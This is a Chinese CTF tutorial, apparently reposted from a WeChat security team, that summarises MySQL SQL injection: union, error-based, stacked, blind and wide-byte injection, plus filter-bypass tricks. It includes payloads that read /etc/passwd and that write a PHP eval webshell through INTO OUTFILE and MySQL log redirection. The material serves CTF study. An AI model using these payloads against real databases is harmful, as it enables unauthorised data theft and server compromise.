干货|CTF-sql注入总结(一)

  • A+
所属分类:CTF专场




点击上方蓝字关注IDLab




本文章来自IDLab团队第一Web手-Xenc

没有搞不定的sql注入 --Xenc


01

What is SQL Injection 


    web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

l特点:

l广泛性

l任何一个基于SQL语言的数据库都可能被攻击

l隐蔽性

l不易发现

l危害大

l获取用户信息

l读取文件

lUAF

lGETSHELL


SELECT username,password FROMuser WHERE username= '{SQLINJECTION}'


02

sql注入分类 


干货|CTF-sql注入总结(一)


03

前置知识  


MYSQL自带库:mysql、sys、information_schema、 performance_schemamysql.user : 保存MySQL用户信息sys.schema_table_statistics_with_buffer : 保存数据库和数据表的信息sys.x$session : 保存用户session(包含了正在执行的语句)information_schema.tables :  保存数据库的所有表名信息information_schema.columns :  保存数据库的所有列名信息performance_schema.table_io_waits_summary_by_table : 保存数据库的所有列名信息performance_schema. global_variables : 保存MySQL全局变量信息

注释://、/**/、;%00、--+、#判断函数:IF、CASE WHEN截取函数:substr、substring、left、right、mid匹配:like、regexp延迟函数:sleep、benchmark拼接函数:group_concat、concat、 concat_ws其他函数:ascii、ord、database、user、replace、json_object、exp、char、hex、bin、conv、isnull…
Handler 表名 open |handler 表名 read first;set @a = 0x73656C656374202A2066726F6D2074; prepare p from @a; execute p; rename table 原表名 to 新表名;alter table users change uesrname name varchar(30); replace users value('1','admin','Hacked');


04

基础注入


干货|CTF-sql注入总结(一)

已知 查询的username != ‘flag’ ,测试无过滤 ‘ or 1 --+  利用优先级(and比or高) 使username != ‘flag’ 无效
' order by 4 --+ 错误,可知3个字段' union select  1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ 爆表' union select  1,2,group_concat(column_name) from information_schema.columns where table_name=’ctfshow_user‘ --+ 爆列名' union select id,username,password from ctfshow_user --+ 列数据




05

报错注入 



干货|CTF-sql注入总结(一)

updatexml(1,concat(0x7e,version()),1) --------- updatexml(目标xml文档,xml路径,更新的内容)extractvalue(1,concat(0x7e,version(),0x7e)) --------- extractvalue(目标xml文档,xml路径)' union select 0,count(*),concat(floor(rand(0)*2),version()) x from information_schema.schemata group by x --+





06

堆叠注入


干货|CTF-sql注入总结(一)

0;prepare p from 0x73656C65637420273127;execute p;       --- --- --- --- --- --- ---    MariaDB上可用select hex('select * from users'); set @a = 0x73656C656374202A2066726F6D207573657273;prepare p from @a;execute p;  // 预编译执行SQL语句handler users open;handler users read first;handler users close; // handler 读取数据





07

 布尔盲注


干货|CTF-sql注入总结(一)

' or if(substr(user(),1,1)=’r‘,1,0) – a  密码错误' or if(substr(user(),1,1)=’a‘,1,0) – a  用户不存在对查询的数据逐个判断是否相等,就可用获得数据爆破得到当前数据库表' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database())1,1)=’a‘,1,0)爆破xxxx表列' or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘xxxx’)1,1)=’a‘,1,0)



08

时间盲注 



干货|CTF-sql注入总结(一)

通过 if结果为1进行sleep(1) Why time is 21.21s ?  查询出不超过21条记录,每一条记录执行一次sleep(1) 可以得到记录数不多于21条 --- ' or if((select count(pass) from ctfshow_user)=21,1,0) – a逐字注入 能够截取字符,同时能触发延时即可:substr:select username from users where id=-1 or (if(substr(user(),1,1)=‘r’,sleep(3),1)) ;


09

宽字节注入 


干货|CTF-sql注入总结(一)

原理:宽字节注入是利用MySQL的一个特性,MySQL在使用GBK编码的时候, 会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)' -> ' -> %5C%27 %df' -> %df ' -> %df%5C%27

10

加密注入 


干货|CTF-sql注入总结(一)

Base64、AES….源于程序员的骚操作import base64;base64.b64encode(b'a') //select to_base64('a');aes_decrypt(aes_encrypt(version(),1),1)




11

二次注入  


干货|CTF-sql注入总结(一)

干货|CTF-sql注入总结(一)

一般情况下:二次注入存在可用更改数据库信息的地方(update、delete)由于登录信息,有些程序员会将用户数据存在SESSION,然后使用SESSION进行拼接查询导致二次注入




12

读写文件  



select @@secure_file_priv //查看权限NULL 默认不可写不可读空 可读可写/tmp/ 对该目录可读可写
写入:select '<?php @eval($_POST[shell]); ?>' into outfile '/etc/www/html/shell.php’日志写webshell:读取:select load_file(‘/etc/passwd’);
日志写webshell:错误日志log_error:记录启动、运行或停止mysqld时出现的问题。通用日志general_log:记录建立的客户端连接和执行的语句。慢查询日志slow_query_log:记录所有执行时间超过long_query_time秒(默认10秒)的所有查询或不使用索引的查询show global variables like "%general%"; #查看general文件配置情况set global general_log='on'; #开启日志记录set global general_log_file='C:/phpstudy/WWW/shell.php';select '<?php @eval($_POST[shell]); ?>'; #日志文件导出指定目录set global general_log=off; #关闭记录
show variables like '%slow%'; #慢查询日志set GLOBAL slow_query_log_file='C:/phpStudy/PHPTutorial/WWW/slow.php';set GLOBAL slow_query_log=on;/*set GLOBAL log_queries_not_using_indexes=on;show variables like '%log%';*/select '<?php phpinfo();?>' from mysql.user where sleep(10);
写文件:select 'a' into dumpfile 'e:/sql.txt’
读取文件:load data infile 'e:/1.txt' into table users(username);
MySQL JDBC读取文件。 MySQL 任意文件读取漏洞



13

Bypass


CTF 中的 SQL 难度不会那么基础,朴实无华的界面中,就是要你绕、绕、绕、再绕

MySQL中有许多的函数,提供给使用者来提高效率,往往一些不为人知的函数就可以绕过过滤

Substrè截取函数 è mid è leftè right èposition èregexpè like

空格绕过%20%09%0a%0b%0c%0d、%a0%00/**//*!select*/()--%0a

Or绕过&& || and

过滤order by: into @,@,@ order by 只能在limit前使用,into只能在limit之后使用

过滤等号in>^<likeregexpbetween andinstrpositionlocateinfind_in_set…

逗号绕过select * from (select 1)a join (select3)b join (select 2)c

  substr((database())from({})for(1)) offset


Set绕过

select '123' into @a

select @a:='123'

select 1 from mysql.userwhere @a:='123'

do @a:='123’

过滤单引号|双引号:十六进制绕

过滤regexplike

等价函数变量的绕过

1.hex()bin() ==> ascii()

2.sleep() ==>benchmark()

3.concat_ws()==>group_concat()

4.mid()substr() ==> substring()

[email protected]@user ==> user()

[email protected]@datadir ==> datadir()

[email protected]@version ==> version()



过滤information_schema:schema_auto_increment_columns  #只有表自增的表才在里面,可能会漏掉一些sys.schema_table_statistics_with_buffersys.x$schema_table_statistics_with_buffersys.innodb_buffer_stats_by_schemasys.innodb_buffer_stats_by_tablemysql.innodb_table_statssys.schema_tables_with_full_table_scansmysql.innodb_index_stats//包含inSELECT object_name FROM `sys`.`x$innodb_buffer_stats_by_table` where object_schema = database();SELECT object_name FROM `sys`.`innodb_buffer_stats_by_table` WHERE object_schema = DATABASE();SELECT TABLE_NAME FROM `sys`.`x$schema_index_statistics` WHERE TABLE_SCHEMA = DATABASE();SELECT TABLE_NAME FROM `sys`.`schema_auto_increment_columns` WHERE TABLE_SCHEMA = DATABASE();
//不包含inSELECT TABLE_NAME FROM `sys`.`x$schema_flattened_keys` WHERE TABLE_SCHEMA = DATABASE();SELECT TABLE_NAME FROM `sys`.`x$ps_schema_table_statistics_io` WHERE TABLE_SCHEMA = DATABASE();SELECT TABLE_NAME FROM `sys`.`x$schema_table_statistics_with_buffer` WHERE TABLE_SCHEMA = DATABASE();
//通过表文件的存储路径获取表名SELECT FILE FROM `sys`.`io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE();SELECT FILE FROM `sys`.`io_global_by_file_by_latency` WHERE FILE REGEXP DATABASE();SELECT FILE FROM `sys`.`x$io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE();

包含之前查询记录的表SELECT QUERY FROM sys.x$statement_analysis WHERE QUERY REGEXP DATABASE();SELECT QUERY FROM `sys`.`statement_analysis` where QUERY REGEXP DATABASE();
SELECT object_name FROM `performance_schema`.`objects_summary_global_by_type` WHERE object_schema = DATABASE();SELECT object_name FROM `performance_schema`.`table_handles` WHERE object_schema = DATABASE();SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_index_usage` WHERE object_schema = DATABASE();SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_table` WHERE object_schema = DATABASE();SELECT object_name FROM `performance_schema`.`table_lock_waits_summary_by_table` WHERE object_schema = DATABASE();

过滤ascii:ord()–>ascii():这两个函数在处理英文时效果一样,但是处理中文等时不一致。
过滤INSERT (插入|替换)数据:replace users value('17','admin','Hacked');// 对users表的id=17 把username替换成admin password替换成Hacked, 对于users而言,具体替换什么列得看表
查看表结构:explain users;desc users;show columns from users;show fields from users;show columns in users;show fields in users;


无列名注入:

select c from (select 1 as a, 1 as b, 1as c union select * from test)x limit 1 offset 1

select `3` from(select 1,2,3 union select* from admin)a limit 1,1


无逗号,有join版本

select a from (select * from (select 1`a`)m join (select 2 `b`)n join (select 3 `c`)t where 0 union select * fromtest)x;


绕过(点绕过)//select,from等关键字绕过都可以使用:

select0x73656c65637420757365722066726f6d206d7973716c2e75736572 into @s;prepare a [email protected];EXECUTE a; //0x736... =>'select user from mysql.user'

set @a concat('select user from mysql',char(46),'user');preparea from @s;EXECUTE a;




14

Mysql特性  


MySQL与PHP一样存在弱类型问题:字符+数字 = 数字 ? '1a'+2 = 3 、'a' + 2 =3字符 = 0 ?
注入语句等于输出语句( Quine ):sys.x$session->current_statement 保存正在运行的SQL语句sys.x$processlist->current_statement 保存正在运行的SQL语句select replace(replace('select replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'select replace(replace(".",char(34),char(39)),char(46),".")')参考文章:https://www.shysecurity.com/post/20140705-SQLi-Quine



END


干货|CTF-sql注入总结(一)

本文始发于微信公众号(IDLab):干货|CTF-sql注入总结(一)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: